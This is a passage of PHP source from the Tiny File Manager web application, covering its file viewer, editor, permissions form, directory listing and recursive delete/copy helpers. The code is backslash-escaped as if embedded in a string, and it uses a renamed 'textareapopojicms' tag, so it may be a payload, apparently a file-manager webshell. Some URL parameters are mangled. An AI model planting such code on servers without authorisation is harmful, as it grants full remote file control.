echo \'<strong>\'.lng(\'Image size\').\':</strong> \' . (isset($image_size[0]) ? $image_size[0] : \'0\') . \' x \' . (isset($image_size[1]) ? $image_size[1] : \'0\') . \'<br>\';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists(\'iconv\')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $content);
}
}
echo \'<strong>\'.lng(\'Charset\').\':</strong> \' . ($is_utf8 ? \'utf-8\' : \'8 bit\') . \'<br>\';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng(\'Download\') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng(\'Open\') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng(\'UnZip\') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng(\'UnZipToFolder\') ?></button>
</form>
<?php
}
if ($is_text && !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng(\'Edit\') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng(\'AdvancedEditor\') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng(\'Back\') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == \'google\') {
echo \'<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=\' . fm_enc($file_url) . \'" frameborder="no" style="width:100%;min-height:460px"></iframe>\';
} else if($online_viewer == \'microsoft\') {
echo \'<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=\' . fm_enc($file_url) . \'" frameborder="no" style="width:100%;min-height:460px"></iframe>\';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo \'<code class="maxheight">\';
foreach ($filenames as $fn) {
if ($fn[\'folder\']) {
echo \'<b>\' . fm_enc($fn[\'name\']) . \'</b><br>\';
} else {
echo $fn[\'name\'] . \' (\' . fm_get_filesize($fn[\'filesize\']) . \')<br>\';
}
}
echo \'</code>\';
} else {
echo \'<p>\'.lng(\'Error while fetching archive info\').\'</p>\';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\', \'svg\', \'webp\', \'avif\'))) {
echo \'<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="\' . fm_enc($file_url) . \'" alt="image" class="preview-img"></label></p>\';
}
} elseif ($is_audio) {
// Audio content
echo \'<p><audio src="\' . fm_enc($file_url) . \'" controls preload="metadata"></audio></p>\';
} elseif ($is_video) {
// Video content
echo \'<div class="preview-video"><video src="\' . fm_enc($file_url) . \'" width="640" height="360" controls preload="metadata"></video></div>\';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
\'shtml\' => \'xml\',
\'htaccess\' => \'apache\',
\'phtml\' => \'php\',
\'lock\' => \'json\',
\'svg\' => \'xml\',
);
$hljs_class = isset($hljs_classes[$ext]) ? \'lang-\' . $hljs_classes[$ext] : \'lang-\' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match(\'#\.min\.(css|js)$#i\', $file)) {
$hljs_class = \'nohighlight\';
}
$content = \'<pre class="with-hljs"><code class="\' . $hljs_class . \'">\' . fm_enc($content) . \'</code></pre>\';
} elseif (in_array($ext, array(\'php\', \'php4\', \'php5\', \'phtml\', \'phps\'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = \'<pre>\' . fm_enc($content) . \'</pre>\';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET[\'edit\']) && !FM_READONLY) {
$file = $_GET[\'edit\'];
$file = fm_clean_path($file, false);
$file = str_replace(\'/\', \'\', $file);
if ($file == \'\' || !is_file($path . \'/\' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
$editFile = \' : <i><b>\'. $file. \'</b></i>\';
header(\'X-XSS-Protection:0\');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);
$file_path = $path . \'/\' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET[\'env\'])) {
if ($_GET[\'env\'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST[\'savedata\'])) {
$writedata = $_POST[\'savedata\'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng(\'File Saved Successfully\'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = \'\'; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng(\'Fullscreen\') ?>"><i class="fa fa-expand" title="<?php echo lng(\'Fullscreen\') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng(\'Search\') ?>"><i class="fa fa-search" title="<?php echo lng(\'Search\') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng(\'Undo\') ?>"><i class="fa fa-undo" title="<?php echo lng(\'Undo\') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng(\'Redo\') ?>"><i class="fa fa-repeat" title="<?php echo lng(\'Redo\') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng(\'Word Wrap\') ?>"><i class="fa fa-text-width" title="<?php echo lng(\'Word Wrap\') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng(\'Select Document Type\') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng(\'Select Mode\') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng(\'Select Theme\') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng(\'Select Theme\') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng(\'Select Font Size\') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng(\'Select Font Size\') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng(\'Back\') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng(\'Back\') ?></a>
<a title="<?php echo lng(\'BackUp\') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup(\'<?php echo urlencode(trim(FM_PATH)) ?>\',\'<?php echo urlencode($file) ?>\')"><i class="fa fa-database"></i> <?php echo lng(\'BackUp\') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng(\'AdvancedEditor\') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,\'nrl\')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng(\'NormalEditor\') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,\'ace\')"><i class="fa fa-floppy-o"></i> <?php echo lng(\'Save\') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo \'<textareapopojicms class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">\' . htmlspecialchars($content) . \'</textareapopojicms>\';
echo \'<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>\';
} elseif ($is_text) {
echo \'<div id="editor" contenteditable="true">\' . htmlspecialchars($content) . \'</div>\';
} else {
fm_set_msg(lng(\'FILE EXTENSION HAS NOT SUPPORTED\'), \'error\');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET[\'chmod\']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET[\'chmod\'];
$file = fm_clean_path($file);
$file = str_replace(\'/\', \'\', $file);
if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file;
$file_path = $path . \'/\' . $file;
$mode = fileperms($path . \'/\' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng(\'ChangePermissions\') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path[\'label\']; ?>: <?php echo $display_path[\'path\']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng(\'Owner\') ?></b></td>
<td><b><?php echo lng(\'Group\') ?></b></td>
<td><b><?php echo lng(\'Other\') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng(\'Read\') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? \' checked\' : \'\' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng(\'Write\') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? \' checked\' : \'\' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng(\'Execute\') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? \' checked\' : \'\' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? \' checked\' : \'\' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'Change\') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
// show alert messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng(\'Name\') ?></th>
<th><?php echo lng(\'Size\') ?></th>
<th><?php echo lng(\'Modified\') ?></th>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<th><?php echo lng(\'Perms\') ?></th>
<th><?php echo lng(\'Owner\') ?></th><?php endif; ?>
<th><?php echo lng(\'Actions\') ?></th>
</tr>
</thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN && !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$ii = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . \'/\' . $f);
$img = $is_link ? \'icon-link_folder\' : \'fa fa-folder-o\';
$modif_raw = filemtime($path . \'/\' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng(\'Folder\');
$perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
$owner = posix_getpwuid(fileowner($path . \'/\' . $f));
$group = posix_getgrgid(filegroup($path . \'/\' . $f));
if ($owner === false) {
$owner = array(\'name\' => \'?\');
}
if ($group === false) {
$group = array(\'name\' => \'?\');
}
} else {
$owner = array(\'name\' => \'?\');
$group = array(\'name\' => \'?\');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ii ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
</a><?php echo($is_link ? \' <i>\' . readlink($path . \'/\' . $f) . \'</i>\' : \'\') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner[\'name\'] . \':\' . $group[\'name\'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng(\'Delete\')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, \'1028\',\'<?php echo lng(\'Delete\').\' \'.lng(\'Folder\'); ?>\',\'<?php echo urlencode($f) ?>\', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng(\'Rename\')?>" href="#" onclick="rename(\'<?php echo fm_enc(addslashes(FM_PATH)) ?>\', \'<?php echo fm_enc(addslashes($f)) ?>\');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng(\'CopyTo\')?>..." href="?p=©=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng(\'DirectLink\')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f . \'/\') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$ii++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . \'/\' . $f);
$img = $is_link ? \'fa fa-file-text-o\' : fm_get_file_icon_class($path . \'/\' . $f);
$modif_raw = filemtime($path . \'/\' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . \'/\' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = \'?p=\' . urlencode(FM_PATH) . \'&view=\' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
$owner = posix_getpwuid(fileowner($path . \'/\' . $f));
$group = posix_getgrgid(filegroup($path . \'/\' . $f));
if ($owner === false) {
$owner = array(\'name\' => \'?\');
}
if ($group === false) {
$group = array(\'name\' => \'?\');
}
} else {
$owner = array(\'name\' => \'?\');
$group = array(\'name\' => \'?\');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_enc($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\', \'svg\', \'webp\', \'avif\'))): ?>
<?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
</a>
<?php echo($is_link ? \' <i>\' . readlink($path . \'/\' . $f) . \'</i>\' : \'\') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf(\'%s bytes\', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo \'Change Permissions\' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng(\'Delete\') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, \'<?php echo lng(\'Delete\').\' \'.lng(\'File\'); ?>\',\'<?php echo urlencode($f); ?>\', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng(\'Rename\') ?>" href="#" onclick="rename(\'<?php echo fm_enc(addslashes(FM_PATH)) ?>\', \'<?php echo fm_enc(addslashes($f)) ?>\');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng(\'CopyTo\') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng(\'DirectLink\') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng(\'Download\') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, \'<?php echo lng(\'Download\'); ?>\',\'<?php echo urlencode($f); ?>\', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) && empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? \'6\' : \'4\' ?>"><em><?php echo lng(\'Folder is empty\') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? \'6\' :\'7\') : (FM_READONLY ? \'4\' : \'5\') ?>">
<?php echo lng(\'FullSize\').\': <span class="badge text-bg-light border-radius-0">\'.fm_get_filesize($all_files_size).\'</span>\' ?>
<?php echo lng(\'File\').\': <span class="badge text-bg-light border-radius-0">\'.$num_files.\'</span>\' ?>
<?php echo lng(\'Folder\').\': <span class="badge text-bg-light border-radius-0">\'.$num_folders.\'</span>\' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng(\'SelectAll\') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng(\'UnSelectAll\') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng(\'InvertSelection\') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm(\'<?php echo lng(\'Delete selected files and folders?\'); ?>\')">
<a href="javascript:document.getElementById(\'a-delete\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng(\'Delete\') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm(\'<?php echo lng(\'Create archive?\'); ?>\')">
<a href="javascript:document.getElementById(\'a-zip\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng(\'Zip\') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm(\'<?php echo lng(\'Create archive?\'); ?>\')">
<a href="javascript:document.getElementById(\'a-tar\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng(\'Tar\') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById(\'a-copy\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng(\'Copy\') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
// --- END HTML ---
// Functions
/**
* It prints the css/js files into html
* @param key The key of the external file to print.
*/
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception(\'Key missing in external: \' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
/**
* Verify CSRF TOKEN and remove after cerify
* @param string $token
* @return bool
*/
function verifyToken($token)
{
if (hash_equals($_SESSION[\'token\'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != \'.\' && $file != \'..\') {
if (!fm_rdelete($path . \'/\' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != \'.\' && $file != \'..\') {
if (!fm_rchmod($path . \'/\' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Check the file extension which is allowed or not
* @param string $filename
* @return bool
*/
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(\',\', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != \'.\' && $file != \'..\') {
if (!fm_rcopy($path . \'/\' . $file, $dest . \'/\' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
